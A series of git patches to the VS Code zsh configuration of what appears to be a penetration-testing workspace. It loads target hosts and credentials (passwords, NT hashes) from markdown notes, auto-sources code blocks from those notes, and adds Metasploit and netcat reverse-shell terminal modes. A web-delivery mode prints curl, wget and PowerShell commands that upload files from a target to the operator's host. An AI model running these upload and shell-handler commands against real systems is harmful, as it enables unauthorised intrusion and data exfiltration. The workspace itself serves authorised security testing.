line_no_start=$(echo $line_no | head -n 1) - local line_no_end=$(echo $line_no | tail -n 1) - local line_start=$(($line_no_start + 1)) - local line_end=$(($line_no_end - 1)) - - if [[ -f $file_path ]]; then - sed -n "${line_start},${line_end}p" "$file_path" - else - echo "File not found: $file_path" - fi +function cut_lines_from_markdown_codes() { + local file_path=$1 + local identity='```'$2 + local line_no=$(grep -n '```' "$file_path" | grep "$identity" -A1 | cut -d : -f1) + # echo "here" $(grep -n '```' "$file_path" | grep "$identity" -A1) >> debug.log + # echo "${file_path}: ${identity} found at line: $line_no" >> debug.log + local line_no_start=$(echo $line_no | head -n 1) + local line_no_end=$(echo $line_no | tail -n 1) + local line_start=$(($line_no_start + 1)) + local line_end=$(($line_no_end - 1)) + if [[ $line_start == "1" && $line_end == "-1" ]]; then + #echo "No code block found for identity: $identity in file: $file_path" + return 1 + fi + + if [[ -f $file_path ]]; then + sed -n "${line_start},${line_end}p" "$file_path" + else + echo "File not found: $file_path" + fi } -function update_host_to_env () { - if [[ -x "$(command -v yq)" && -d "${PROJECT_FOLDER}/hosts" ]]; then - for ur in `ls -1 ${PROJECT_FOLDER}/hosts`; do - local file="${PROJECT_FOLDER}/hosts/${ur}/${ur}.md" - if [ -f "$file" ]; then - local host_data=$(cut_lines "$file" "host") - - local hostname=$(echo "$host_data"|yq '.[0].hostname' -r ) - local _var=$(echo "$hostname"|sed -e "s/\./_/g"|sed -e "s/-/_/g") # replace . and - with _ to avoid env var issues - - local ip=$(echo "$host_data"|yq '.[0].ip' -r ) - local is_dc=$(echo "$host_data"|yq '.[0].is_dc' -r ) - if [[ "is_dc" -eq "true" ]]; then - export DC_HOST_${_var}=$(echo "$host_data"|yq '.[0].alias.[0]') - export DC_HOST=$(echo "$host_data"|yq '.[0].alias.[0]') # default dc01.domain.com - export DC_IP_${_var}=$ip - export DC_IP=${ip} - export IS_DC_${_var}="true" - fi - export HOST_${_var}=$hostname - export IP_${_var}=$ip - fi - done - fi +function update_host_to_env() { + if [[ -x "$(command -v yq)" && -d "${PROJECT_FOLDER}/hosts" ]]; then + for ur in $(ls -1 ${PROJECT_FOLDER}/hosts); do + local file="${PROJECT_FOLDER}/hosts/${ur}/${ur}.md" + if [ -f "$file" ]; then + local host_data=$(cut_lines_from_markdown_codes "$file" "yaml host") + + local hostname=$(echo "$host_data" | yq '.[0].hostname' -r) + local _var=$(echo "$hostname" | sed -e "s/\./_/g" | sed -e "s/-/_/g") # replace . and - with _ to avoid env var issues + + local ip=$(echo "$host_data" | yq '.[0].ip' -r) + local is_dc=$(echo "$host_data" | yq '.[0].is_dc' -r) + if [[ "is_dc" -eq "true" ]]; then + export DC_HOST_${_var}=$(echo "$host_data" | yq '.[0].alias.[0]') + export DC_HOST=$(echo "$host_data" | yq '.[0].alias.[0]') # default dc01.domain.com + export DC_IP_${_var}=$ip + export DC_IP=${ip} + export IS_DC_${_var}="true" + fi + export HOST_${_var}=$hostname + export IP_${_var}=$ip + fi + done + fi } update_host_to_env function set_current_host() { - if [[ -z $1 ]]; then - echo "current host is set to ${CURRENT_HOST}" - echo "Usage: set_current_host " - echo "Example: set_current_host dc01" - echo "supported hosts: " - echo "" - env|egrep '^HOST_' | sed -e 's/HOST_//g' | awk '{printf "- " $1 "\n"}' |sed -e 's/=/: /g' | sort - return 1 - fi - - export CURRENT_HOST=`echo "$1"|sed -e "s/\./_/g"|sed -e "s/-/_/g" ` - export CURRENT_IP=`eval echo '$IP_'$CURRENT_HOST` # alias for IP_dc01 or IP_dc02 - export CURRENT_HOSTNAME=`eval echo '$HOST_'$CURRENT_HOST` # alias for HOST_dc01 or HOST_dc02 - - # defined variables if u need - export RHOST=${CURRENT_IP} - export IP=${CURRENT_IP} - export DOMAIN=${CURRENT_HOSTNAME} # alias for DOMAIN_dc01 or DOMAIN_dc02 - export TARGET=${DOMAIN:-${RHOST}} # target is target hostname if not set use RHOST ip - if [[ "$IS_DC_${CURRENT_HOST}" == "true" ]]; then - export DC_IP=`eval echo '$DC_IP_'$CURRENT_HOST` # alias for DC_IP_dc01 or DC_IP_dc02 - export DC_HOST=`eval echo '$DC_HOST_'$CURRENT_HOST` # alias for DC_HOST_dc01 or DC_HOST_dc02 - fi + if [[ -z $1 ]]; then + echo "current host is set to ${CURRENT_HOST}" + echo "Usage: set_current_host " + echo "Example: set_current_host dc01" + echo "supported hosts: " + echo "" + env | egrep '^HOST_' | sed -e 's/HOST_//g' | awk '{printf "- " $1 "\n"}' | sed -e 's/=/: /g' | sort + return 1 + fi + + export CURRENT_HOST=$(echo "$1" | sed -e "s/\./_/g" | sed -e "s/-/_/g") + export CURRENT_IP=$(eval echo '$IP_'$CURRENT_HOST) # alias for IP_dc01 or IP_dc02 + export CURRENT_HOSTNAME=$(eval echo '$HOST_'$CURRENT_HOST) # alias for HOST_dc01 or HOST_dc02 + + # defined variables if u need + export RHOST=${CURRENT_IP} + export IP=${CURRENT_IP} + export DOMAIN=${CURRENT_HOSTNAME} # alias for DOMAIN_dc01 or DOMAIN_dc02 + export TARGET=${DOMAIN:-${RHOST}} # target is target hostname if not set use RHOST ip + if [[ "$IS_DC_${CURRENT_HOST}" == "true" ]]; then + export DC_IP=$(eval echo '$DC_IP_'$CURRENT_HOST) # alias for DC_IP_dc01 or DC_IP_dc02 + export DC_HOST=$(eval echo '$DC_HOST_'$CURRENT_HOST) # alias for DC_HOST_dc01 or DC_HOST_dc02 + fi } +# set_current_host xx.htb # auto set the data in the -function update_user_cred_to_env () { - if [[ -x "$(command -v yq)" && -d "${PROJECT_FOLDER}/users" ]]; then - for ur in `ls -1 ${PROJECT_FOLDER}/users`; do - local file="${PROJECT_FOLDER}/users/${ur}/${ur}.md" - if [ -f "$file" ]; then - local usercred=$(cut_lines "$file" "credentials") - local user=$(echo "$usercred"|yq '.[0].user' -r ) - local _var=$(echo "$user"|sed -e "s/\./_/g" | sed -e "s/-/_/g") # replace . and - with _ to avoid env var issues - local pass=$(echo "$usercred"|yq '.[0].password' -r ) - local nt_hash=$(echo "$usercred"|yq '.[0].nt_hash' -r ) - export USER_${_var}=$user - export PASS_${_var}=$pass - export NT_HASH_${_var}=$nt_hash - fi - done - fi +function update_user_cred_to_env() { + if [[ -x "$(command -v yq)" && -d "${PROJECT_FOLDER}/users" ]]; then + for ur in $(ls -1 ${PROJECT_FOLDER}/users); do + local file="${PROJECT_FOLDER}/users/${ur}/${ur}.md" + if [ -f "$file" ]; then + local usercred=$(cut_lines_from_markdown_codes "$file" "yaml credentials") + local user=$(echo "$usercred" | yq '.[0].user' -r) + local _var=$(echo "$user" | sed -e "s/\./_/g" | sed -e "s/-/_/g") # replace . and - with _ to avoid env var issues + local pass=$(echo "$usercred" | yq '.[0].password' -r) + local nt_hash=$(echo "$usercred" | yq '.[0].nt_hash' -r) + export USER_${_var}=$user + export PASS_${_var}=$pass + export NT_HASH_${_var}=$nt_hash + fi + done + fi } update_user_cred_to_env -export USER_A=username -export PASS_A=password -export NT_HASH_A=ffffffffffffffffffffffffffffffff # NTLM hash, if you have it - function set_current_user() { - if [[ -z $1 ]]; then - echo "current user is set to ${CURRENT}" - echo "Usage: set_current_user " - echo "Example: set_current_user A" - echo "supported users: " - echo "" - env|egrep '^USER_' | sed -e 's/USER_//g' | awk '{printf "- " $1 "\n"}' |sed -e 's/=/: /g' | sort - return 1 - fi - export CURRENT=`echo "$1"|sed -e "s/\./_/g" |sed -e "s/-/_/g" ` - export CURRENT_USER=`eval echo '$USER_'$CURRENT` # alias for USER_A or USER_B - export CURRENT_PASS=`eval echo '$PASS_'$CURRENT` # alias for PASS_A or PASS_B - export CURRENT_NT_HASH=`eval echo '$NT_HASH_'$CURRENT` # alias for NT_HASH_A or NT_HASH_B - - # defined variables if u need - export USER=${CURRENT_USER} - export USERNAME=${CURRENT_USER} - export PASS=${CURRENT_PASS} - export PASSWORD=${CURRENT_PASS} # alias for PASS - export NT_HASH=${CURRENT_NT_HASH} # alias for NT_HASH_A + if [[ -z $1 ]]; then + echo "current user is set to ${CURRENT}" + echo "Usage: set_current_user " + echo "Example: set_current_user A" + echo "supported users: " + echo "" + env | egrep '^USER_' | sed -e 's/USER_//g' | awk '{printf "- " $1 "\n"}' | sed -e 's/=/: /g' | sort + return 1 + fi + export CURRENT=$(echo "$1" | sed -e "s/\./_/g" | sed -e "s/-/_/g") + export CURRENT_USER=$(eval echo '$USER_'$CURRENT) # alias for USER_A or USER_B + export CURRENT_PASS=$(eval echo '$PASS_'$CURRENT) # alias for PASS_A or PASS_B + export CURRENT_NT_HASH=$(eval echo '$NT_HASH_'$CURRENT) # alias for NT_HASH_A or NT_HASH_B + + # defined variables if u need + export USER=${CURRENT_USER} + export USERNAME=${CURRENT_USER} + export PASS=${CURRENT_PASS} + export PASSWORD=${CURRENT_PASS} # alias for PASS + export NT_HASH=${CURRENT_NT_HASH} # alias for NT_HASH_A } -set_current_user A - +# set_current_user john + +### auto invoke the commands in markdown files +function auto_invoker() { + for markdown in $(find ${PROJECT_FOLDER} -iname "*.md"|grep -v ".foam/templates"); do + local auto_invoker=$(cut_lines_from_markdown_codes "$markdown" "zsh env-invoked") + if [[ -n "$auto_invoker" ]]; then + source <(echo "$auto_invoker") # source it! + fi + done +} +auto_invoker # export KRB5CCNAME= @@ -152,7 +165,6 @@ set_current_user A # export DYLD_FORCE_FLAT_NAMESPACE=1 DYLD_INSERT_LIBRARIES=/opt/homebrew/Cellar/libfaketime/0.9.10/lib/faketime/libfaketime.1.dylib # export FAKETIME="-8h" - export METASPLOIT_INIT_COMMAND="" ################################################################ @@ -201,7 +213,7 @@ export TF_LOG_PATH=$PROJECT_FOLDER/terraform.log # More default settings export PROJECT_WEB_DELIVERY=$PROJECT_FOLDER/.web-delivery # web-delivery is a folder in PROJECT_FOLDER -unset SSS_LOADED # make sure sss init shell is not set +unset SSS_LOADED # make sure sss init shell is not set ################################################################ # Network settings clean up and reset @@ -253,152 +265,145 @@ export HASH_KRB5_TGS_18=19700 export HASH_JWT=16500 export HASH_KRB5_AS_REP_23=18200 - # utils functions ### functions function proxys() { - export Proxy="127.0.0.1" # define as your favour - export ProxyPort="7890" # define as your favour + export Proxy="127.0.0.1" # define as your favour + export ProxyPort="7890" # define as your favour case "$1" in - (h) - echo "|==============================================|" - echo "| proxys Usage |" - echo "| ---- fast commandline proxy switcher |" - echo "|==============================================|" - echo "| Basic Usage: proxys [SubCommand] [param1] |" - echo "|==============================================|" - echo "| Sub Command List |" - echo "|==============================================|" - echo "| proxy [proxy_ip] import ip temply |" - echo "| port [port_id] import port temply |" - echo "| loc import localhost |" - echo "| set [protocol]://[proxy_ip]:[port] set proxy |" - echo "| on up the cli proxy |" - echo "| off down the proxy |" - echo "| * show proxy setting |" - echo "| h/help show help |" - echo "|==============================================|" - ;; - (set) - if [ -z "$2" ] - then - echo "Usage: $0 set [protocol]://[proxy_ip]:[port]" - echo "Example: $0 set http://127.0.0.1:8080" - else - export http_proxy="$2" \ + h) + echo "|==============================================|" + echo "| proxys Usage |" + echo "| ---- fast commandline proxy switcher |" + echo "|==============================================|" + echo "| Basic Usage: proxys [SubCommand] [param1] |" + echo "|==============================================|" + echo "| Sub Command List |" + echo "|==============================================|" + echo "| proxy [proxy_ip] import ip temply |" + echo "| port [port_id] import port temply |" + echo "| loc import localhost |" + echo "| set [protocol]://[proxy_ip]:[port] set proxy |" + echo "| on up the cli proxy |" + echo "| off down the proxy |" + echo "| * show proxy setting |" + echo "| h/help show help |" + echo "|==============================================|" + ;; + set) + if [ -z "$2" ]; then + echo "Usage: $0 set [protocol]://[proxy_ip]:[port]" + echo "Example: $0 set http://127.0.0.1:8080" + else + export http_proxy="$2" \ https_proxy="$2" \ - all_proxy="$2" && \ + all_proxy="$2" && echo "export Proxy complete" && $0 show - fi - ;; - (proxy) - export Proxy="$2" - ;; - (port) - export ProxyPort="$2" - ;; - (loc) - export Proxy="127.0.0.1" # define as your favour - export ProxyPort="7890" # define as your favour - $0 on - ;; - (on) - export https_proxy=http://$Proxy:$ProxyPort \ - http_proxy=http://$Proxy:$ProxyPort && \ + fi + ;; + proxy) + export Proxy="$2" + ;; + port) + export ProxyPort="$2" + ;; + loc) + export Proxy="127.0.0.1" # define as your favour + export ProxyPort="7890" # define as your favour + $0 on + ;; + on) + export https_proxy=http://$Proxy:$ProxyPort \ + http_proxy=http://$Proxy:$ProxyPort && echo 'export Proxy complete' && $0 show - ;; - (off) - unset https_proxy http_proxy all_proxy && echo 'unset Proxy complete' - ;; - (help) - proxys h - ;; - (*) - echo "Current Proxy Condition like ...." - export|grep proxy - echo "if you can't see any output like 'XX_PROXY=' there" - echo "That means no proxy is set" - ;; + ;; + off) + unset https_proxy http_proxy all_proxy && echo 'unset Proxy complete' + ;; + help) + proxys h + ;; + *) + echo "Current Proxy Condition like ...." + export | grep proxy + echo "if you can't see any output like 'XX_PROXY=' there" + echo "That means no proxy is set" + ;; esac } -function venv-init () { - python3 -m venv venv +function venv-init() { + python3 -m venv venv } -function venv-activate () { - if [ -d "./venv/" ] - then +function venv-activate() { + if [ -d "./venv/" ]; then source "./venv/bin/activate" - else + else echo "No Python venv there. Error" fi } -function goproxy () { +function goproxy() { case "$1" in - (on) export GOPROXY=https://goproxy.io,direct ;; - (off) unset GOPROXY ;; - (*) $0 on/off ;; + on) export GOPROXY=https://goproxy.io,direct ;; + off) unset GOPROXY ;; + *) $0 on/off ;; esac } -function url () { +function url() { case "$1" in - (h |-h |help| --help) - which $0 - ;; - (decode | d | -d | --decode) if [ -z "$2" ] - then - \python3 -c "import sys; from urllib.parse import unquote; print(unquote(sys.stdin.read()));" - else - \python3 -c "import sys; from urllib.parse import unquote; print(unquote(' '.join(sys.argv[2:])));" "$@" - fi ;; - (encode | e | -e | --encode) if [ -z "$2" ] - then - \python3 -c "import sys; from urllib.parse import quote; print(quote(sys.stdin.read()[:-1]));" - else - \python3 -c "import sys; from urllib.parse import quote; print(quote(' '.join(sys.argv[2:])));" "$@" - fi ;; + h | -h | help | --help) + which $0 + ;; + decode | d | -d | --decode) if [ -z "$2" ]; then + \python3 -c "import sys; from urllib.parse import unquote; print(unquote(sys.stdin.read()));" + else + \python3 -c "import sys; from urllib.parse import unquote; print(unquote(' '.join(sys.argv[2:])));" "$@" + fi ;; + encode | e | -e | --encode) if [ -z "$2" ]; then + \python3 -c "import sys; from urllib.parse import quote; print(quote(sys.stdin.read()[:-1]));" + else + \python3 -c "import sys; from urllib.parse import quote; print(quote(' '.join(sys.argv[2:])));" "$@" + fi ;; esac } # Here is mode if-tree complete, Now will launch the shell # export SUBDOMAIN_WORDLIST=$SECLIST/Discovery/DNS/bitquark-subdomains-top100000.txt # pipx install wfuzz -# alias wfuzz=docker run --rm --name wfuzz -v /usr/share/wordlists:/wordlists/ -it ghcr.io/xmendez/wfuzz wfuzz +# alias wfuzz=docker run --rm --name wfuzz -v /usr/share/wordlists:/wordlists/ -it ghcr.io/xmendez/wfuzz wfuzz # usage: alias wfuzz_http_vhost='wfuzz -c -w $SUBDOMAIN_WORDLIST -H "Host: FUZZ.$host" -u "http://$host"' # usage: alias wfuzz_https_vhost='wfuzz -c -w $SUBDOMAIN_WORDLIST -H "Host: FUZZ.$host" -u "https://$host"' alias wfuzz=\wfuzz -# unset -f wfuzz_vhost_http -function wfuzz_vhost_http () { - local host=$1 - local wordlist=$2 - if [[ -z $wordlist ]] || [[ -z $host ]] - then - echo "Usage: wfuzz_vhost [wfuzz options]" - return - fi - wfuzz -c -w $wordlist -H "Host: FUZZ.$host" -u "http://$host" $3 $4 $5 $6 $7 $8 $9 $10 $11 $12 $13 $14 $15 $16 $17 $18 $19 +# unset -f wfuzz_vhost_http +function wfuzz_vhost_http() { + local host=$1 + local wordlist=$2 + if [[ -z $wordlist ]] || [[ -z $host ]]; then + echo "Usage: wfuzz_vhost [wfuzz options]" + return + fi + wfuzz -c -w $wordlist -H "Host: FUZZ.$host" -u "http://$host" $3 $4 $5 $6 $7 $8 $9 $10 $11 $12 $13 $14 $15 $16 $17 $18 $19 } # unset -f wfuzz_vhost_https -function wfuzz_vhost_https () { - local host=$1 - local wordlist=$2 - if [[ -z $wordlist ]] || [[ -z $host ]] - then - echo "Usage: wfuzz_vhost [wfuzz options]" - return - fi - wfuzz -c -w $wordlist -H "Host: FUZZ.$host" -u "https://$host" $3 $4 $5 $6 $7 $8 $9 $10 $11 $12 $13 $14 $15 $16 $17 $18 $19 +function wfuzz_vhost_https() { + local host=$1 + local wordlist=$2 + if [[ -z $wordlist ]] || [[ -z $host ]]; then + echo "Usage: wfuzz_vhost [wfuzz options]" + return + fi + wfuzz -c -w $wordlist -H "Host: FUZZ.$host" -u "https://$host" $3 $4 $5 $6 $7 $8 $9 $10 $11 $12 $13 $14 $15 $16 $17 $18 $19 } -function ntlm () { +function ntlm() { if [ -n "$1" ]; then python3 -c 'import hashlib,binascii;hash = hashlib.new("md4", "'$1'".encode("utf-16le")).digest();print(binascii.hexlify(hash).decode("utf-8"))' else echo "usage: $0 password" fi -} \ No newline at end of file +} From 37e3f625515075484726c1d8861b4200ce9a35c8 Mon Sep 17 00:00:00 2001 From: esonhugh Date: Tue, 3 Jun 2025 18:45:29 +0800 Subject: [PATCH 15/52] update: support multi part markdown code area. --- .vscode/env.zsh | 35 +++++++++++++++++++---------------- 1 file changed, 19 insertions(+), 16 deletions(-) diff --git a/.vscode/env.zsh b/.vscode/env.zsh index 145b033..f51f7a9 100644 --- a/.vscode/env.zsh +++ b/.vscode/env.zsh @@ -29,23 +29,26 @@ export DC_HOST=dc01.${DOMAIN} # domain controller host, if not set use dc01.doma function cut_lines_from_markdown_codes() { local file_path=$1 local identity='```'$2 - local line_no=$(grep -n '```' "$file_path" | grep "$identity" -A1 | cut -d : -f1) + local line=$(grep -n '```' "$file_path" | grep "$identity" -A1 | cut -d : -f1) # echo "here" $(grep -n '```' "$file_path" | grep "$identity" -A1) >> debug.log # echo "${file_path}: ${identity} found at line: $line_no" >> debug.log - local line_no_start=$(echo $line_no | head -n 1) - local line_no_end=$(echo $line_no | tail -n 1) - local line_start=$(($line_no_start + 1)) - local line_end=$(($line_no_end - 1)) - if [[ $line_start == "1" && $line_end == "-1" ]]; then - #echo "No code block found for identity: $identity in file: $file_path" - return 1 - fi + local line_no_list=$(echo "$line" | awk 'NR%2==1{T=$0;next}{print T "|" $0}') + for line_no in `echo $line_no_list`; do + local line_no_start=$(echo $line_no | cut -d "|" -f 1) + local line_no_end=$(echo $line_no | cut -d "|" -f 2) + local line_start=$(($line_no_start + 1)) + local line_end=$(($line_no_end - 1)) + if [[ $line_start == "1" && $line_end == "-1" ]]; then + #echo "No code block found for identity: $identity in file: $file_path" + return 1 + fi - if [[ -f $file_path ]]; then - sed -n "${line_start},${line_end}p" "$file_path" - else - echo "File not found: $file_path" - fi + if [[ -f $file_path ]]; then + sed -n "${line_start},${line_end}p" "$file_path" + else + echo "File not found: $file_path" + fi + done } function update_host_to_env() { @@ -148,10 +151,10 @@ function set_current_user() { ### auto invoke the commands in markdown files function auto_invoker() { - for markdown in $(find ${PROJECT_FOLDER} -iname "*.md"|grep -v ".foam/templates"); do + for markdown in $(find ${PROJECT_FOLDER} -iname "*.md" | grep -v ".foam/templates"); do local auto_invoker=$(cut_lines_from_markdown_codes "$markdown" "zsh env-invoked") if [[ -n "$auto_invoker" ]]; then - source <(echo "$auto_invoker") # source it! + source <(echo "$auto_invoker") # source it! fi done } From 0dd365d24413e84c7332b2440ed8dfa3ad484791 Mon Sep 17 00:00:00 2001 From: esonhugh Date: Tue, 3 Jun 2025 18:45:54 +0800 Subject: [PATCH 16/52] update: del echo debug command, let code small. --- .vscode/env.zsh | 3 --- 1 file changed, 3 deletions(-) diff --git a/.vscode/env.zsh b/.vscode/env.zsh index f51f7a9..234240e 100644 --- a/.vscode/env.zsh +++ b/.vscode/env.zsh @@ -30,8 +30,6 @@ function cut_lines_from_markdown_codes() { local file_path=$1 local identity='```'$2 local line=$(grep -n '```' "$file_path" | grep "$identity" -A1 | cut -d : -f1) - # echo "here" $(grep -n '```' "$file_path" | grep "$identity" -A1) >> debug.log - # echo "${file_path}: ${identity} found at line: $line_no" >> debug.log local line_no_list=$(echo "$line" | awk 'NR%2==1{T=$0;next}{print T "|" $0}') for line_no in `echo $line_no_list`; do local line_no_start=$(echo $line_no | cut -d "|" -f 1) @@ -39,7 +37,6 @@ function cut_lines_from_markdown_codes() { local line_start=$(($line_no_start + 1)) local line_end=$(($line_no_end - 1)) if [[ $line_start == "1" && $line_end == "-1" ]]; then - #echo "No code block found for identity: $identity in file: $file_path" return 1 fi From f80995ea65cec9e990e48d1061de2e29006181d6 Mon Sep 17 00:00:00 2001 From: esonhugh Date: Tue, 3 Jun 2025 20:38:23 +0800 Subject: [PATCH 17/52] format: everything, update --- .vscode/.zshrc | 63 ++++++++++++++++++----------------------- .vscode/env.zsh | 15 +++++----- .vscode/extensions.json | 5 +--- .vscode/settings.json | 30 ++++++++++---------- 4 files changed, 51 insertions(+), 62 deletions(-) diff --git a/.vscode/.zshrc b/.vscode/.zshrc index 1778aa6..afea3a8 100644 --- a/.vscode/.zshrc +++ b/.vscode/.zshrc @@ -1,19 +1,19 @@ # POST executed after the shell is loaded # This file is loaded after .zshrc -# you can define any functions,settings,automation here. +# you can define any functions,settings,automation here. source ${PROJECT_FOLDER}/.vscode/env.zsh if [ "$WEB_DELIVERY_MODE" ]; then if [ -z "$PROJECT_WEB_DELIVERY" ]; then echo "PROJECT_WEB_DELIVERY is not set. Please set it in .vscode/env.zsh" - else + else if [ -d "$PROJECT_WEB_DELIVERY" ]; then echo "FOLDER $PROJECT_WEB_DELIVERY exists." else mkdir -p $PROJECT_WEB_DELIVERY - echo "*" > $PROJECT_WEB_DELIVERY/.gitignore + echo "*" >$PROJECT_WEB_DELIVERY/.gitignore echo "FOLDER $PROJECT_WEB_DELIVERY created." fi fi @@ -45,7 +45,7 @@ if [ "$WEB_DELIVERY_MODE" ]; then echo "curl http://$LHOST:$LISTEN_ON/uploadfile --upload-file filename" echo "curl http://$LHOST:$LISTEN_ON/uploadfile -T filename" echo "wget --output-document - --method=PUT http://$LHOST:$LISTEN_ON/uploadfile --body-file=filename" - echo "invoke-webrequest -Uri http://$LHOST:$LISTEN_ON/uploadfile -Method PUT -InFile filename" + echo "invoke-webrequest -Uri http://$LHOST:$LISTEN_ON/uploadfile -Method PUT -InFile filename" echo "==============================================================================================" echo "PS: If your terminal can't display this notes properly, you need resize your terminal window." echo "" @@ -53,22 +53,20 @@ if [ "$WEB_DELIVERY_MODE" ]; then simplehttpserver -listen 0.0.0.0:$LISTEN_ON -verbose -upload # python3 -m http.server $LISTEN_ON exit 0 -fi - +fi export METASPLOIT_INIT_COMMAND="${METASPLOIT_INIT_COMMAND} setg RHOSTS $RHOST;" export METASPLOIT_INIT_COMMAND="${METASPLOIT_INIT_COMMAND} setg LHOST $LHOST;" export METASPLOIT_INIT_COMMAND="${METASPLOIT_INIT_COMMAND} setg LPORT $LPORT;" export METASPLOIT_INIT_COMMAND="${METASPLOIT_INIT_COMMAND} setg VHOST $DOMAIN;" - if [ "$METASPLOIT_HANDLER_MODE" ]; then msfconsole -r "$PROJECT_FOLDER/.vscode/metasploit_handler.rc" \ -x "${METASPLOIT_INIT_COMMAND}" exit 0 fi -if [ "$METASPLOIT_CONSOLE_MODE" ]; then +if [ "$METASPLOIT_CONSOLE_MODE" ]; then msfconsole -r "$PROJECT_FOLDER/.vscode/msfconsole.rc" \ -x "${METASPLOIT_INIT_COMMAND}" exit 0 @@ -89,7 +87,7 @@ fi # Start the virtual environment if exists if [ -d "$PROJECT_FOLDER/venv" ]; then - if [ -n "${VIRTUAL_ENV}" ];then + if [ -n "${VIRTUAL_ENV}" ]; then # sliently deactivate the virtual environment # echo "Virtual Environment is already activated." @@ -97,37 +95,32 @@ if [ -d "$PROJECT_FOLDER/venv" ]; then # echo "Trying to deactivate the virtual environment automatically." # force deactivate the virtual environment - if [ -n "${_OLD_VIRTUAL_PATH:-}" ] - then - PATH="${_OLD_VIRTUAL_PATH:-}" - export PATH - unset _OLD_VIRTUAL_PATH + if [ -n "${_OLD_VIRTUAL_PATH:-}" ]; then + PATH="${_OLD_VIRTUAL_PATH:-}" + export PATH + unset _OLD_VIRTUAL_PATH fi - if [ -n "${_OLD_VIRTUAL_PYTHONHOME:-}" ] - then - PYTHONHOME="${_OLD_VIRTUAL_PYTHONHOME:-}" - export PYTHONHOME - unset _OLD_VIRTUAL_PYTHONHOME + if [ -n "${_OLD_VIRTUAL_PYTHONHOME:-}" ]; then + PYTHONHOME="${_OLD_VIRTUAL_PYTHONHOME:-}" + export PYTHONHOME + unset _OLD_VIRTUAL_PYTHONHOME fi - if [ -n "${BASH:-}" -o -n "${ZSH_VERSION:-}" ] - then - hash -r 2> /dev/null + if [ -n "${BASH:-}" -o -n "${ZSH_VERSION:-}" ]; then + hash -r 2>/dev/null fi - if [ -n "${_OLD_VIRTUAL_PS1:-}" ] - then - PS1="${_OLD_VIRTUAL_PS1:-}" - export PS1 - unset _OLD_VIRTUAL_PS1 + if [ -n "${_OLD_VIRTUAL_PS1:-}" ]; then + PS1="${_OLD_VIRTUAL_PS1:-}" + export PS1 + unset _OLD_VIRTUAL_PS1 fi unset VIRTUAL_ENV unset VIRTUAL_ENV_PROMPT - if [ ! "${1:-}" = "nondestructive" ] - then + if [ ! "${1:-}" = "nondestructive" ]; then # deactivate always useless here # unset -f deactivate fi fi - + source $PROJECT_FOLDER/venv/bin/activate fi @@ -144,13 +137,13 @@ setopt inc_append_history setopt share_history setopt hist_save_no_dups setopt histignorealldups -setopt EXTENDED_HISTORY # with timestamp -fc -R -I ${OLD_HISTFILE} # loading the old histfile +setopt EXTENDED_HISTORY # with timestamp +fc -R -I ${OLD_HISTFILE} # loading the old histfile -if [[ "$HIST_COMMAND_INDEXER" != "" ]]; then +if [[ "$HIST_COMMAND_INDEXER" != "" ]]; then if [[ ! -f ${HIST_COMMAND_INDEXER} ]]; then echo "HIST_COMMAND_INDEXER file not found: ${HIST_COMMAND_INDEXER}" - else + else fc -R -I ${HIST_COMMAND_INDEXER} # loading the command indexer fi -fi +fi diff --git a/.vscode/env.zsh b/.vscode/env.zsh index 234240e..66d8bac 100644 --- a/.vscode/env.zsh +++ b/.vscode/env.zsh @@ -28,6 +28,10 @@ export DC_HOST=dc01.${DOMAIN} # domain controller host, if not set use dc01.doma function cut_lines_from_markdown_codes() { local file_path=$1 + if [[ ! -f $file_path ]];then + echo "no such file!" + return 1 + fi local identity='```'$2 local line=$(grep -n '```' "$file_path" | grep "$identity" -A1 | cut -d : -f1) local line_no_list=$(echo "$line" | awk 'NR%2==1{T=$0;next}{print T "|" $0}') @@ -36,15 +40,10 @@ function cut_lines_from_markdown_codes() { local line_no_end=$(echo $line_no | cut -d "|" -f 2) local line_start=$(($line_no_start + 1)) local line_end=$(($line_no_end - 1)) - if [[ $line_start == "1" && $line_end == "-1" ]]; then + if [[ "$line_start" == "1" && "$line_end" == "-1" ]]; then return 1 fi - - if [[ -f $file_path ]]; then - sed -n "${line_start},${line_end}p" "$file_path" - else - echo "File not found: $file_path" - fi + sed -n "${line_start},${line_end}p" "$file_path" done } @@ -148,7 +147,7 @@ function set_current_user() { ### auto invoke the commands in markdown files function auto_invoker() { - for markdown in $(find ${PROJECT_FOLDER} -iname "*.md" | grep -v ".foam/templates"); do + for markdown in $(find ${PROJECT_FOLDER}/{users,hosts,services} -iname "*.md" 2>/dev/null ); do local auto_invoker=$(cut_lines_from_markdown_codes "$markdown" "zsh env-invoked") if [[ -n "$auto_invoker" ]]; then source <(echo "$auto_invoker") # source it! diff --git a/.vscode/extensions.json b/.vscode/extensions.json index 8c2bad2..552b018 100644 --- a/.vscode/extensions.json +++ b/.vscode/extensions.json @@ -6,14 +6,12 @@ // remote controls "ms-vscode-remote.remote-ssh", // remote ssh controller "ms-kubernetes-tools.vscode-kubernetes-tools", // Kubernetes Control - // documents and file read helper "foam.foam-vscode", // double linked knowledge base for showing the relationship in targets in actions "redhat.vscode-xml", // xml formatter "redhat.vscode-yaml", // yaml formatter "euskadi31.json-pretty-printer", // json pretty printer "ryu1kn.edit-with-shell", // Edit file or selection with any shell command like sort -rn or uniq - //////////////////////////////////////////////////////////////// // Language supports //////////////////////////////////////////////////////////////// @@ -24,7 +22,7 @@ "donjayamanne.python-environment-manager", // python environment/packages manager // Golang "golang.go", // golang support - + "foxundermoon.shell-format", // shell formatter //////////////////////////////////////////////////////////////// // Protocol supports //////////////////////////////////////////////////////////////// @@ -35,7 +33,6 @@ // "rpdswtk.vsmqtt", // MQTT support // "Dancheg97.grpc-clicker", // gRPC support "cweijan.vscode-office", // documents support + http request sender - //////////////////////////////////////////////////////////////// // Custom Favorites //////////////////////////////////////////////////////////////// diff --git a/.vscode/settings.json b/.vscode/settings.json index 38c7dc5..c3cdd74 100644 --- a/.vscode/settings.json +++ b/.vscode/settings.json @@ -4,7 +4,7 @@ "env": { "PROJECT_FOLDER": "${workspaceFolder}" }, - "path": "zsh", + "path": "zsh" }, "meterpreter-handler": { "overrideName": true, @@ -12,7 +12,7 @@ "PROJECT_FOLDER": "${workspaceFolder}", "METASPLOIT_HANDLER_MODE": "True" }, - "path": "zsh", + "path": "zsh" }, "msfconsole": { "overrideName": true, @@ -20,7 +20,7 @@ "PROJECT_FOLDER": "${workspaceFolder}", "METASPLOIT_CONSOLE_MODE": "True" }, - "path": "zsh", + "path": "zsh" }, "netcat-handler": { "overrideName": true, @@ -28,7 +28,7 @@ "PROJECT_FOLDER": "${workspaceFolder}", "REVERSE_SHELL_MODE": "True" }, - "path": "zsh", + "path": "zsh" }, "web-delivery": { "overrideName": 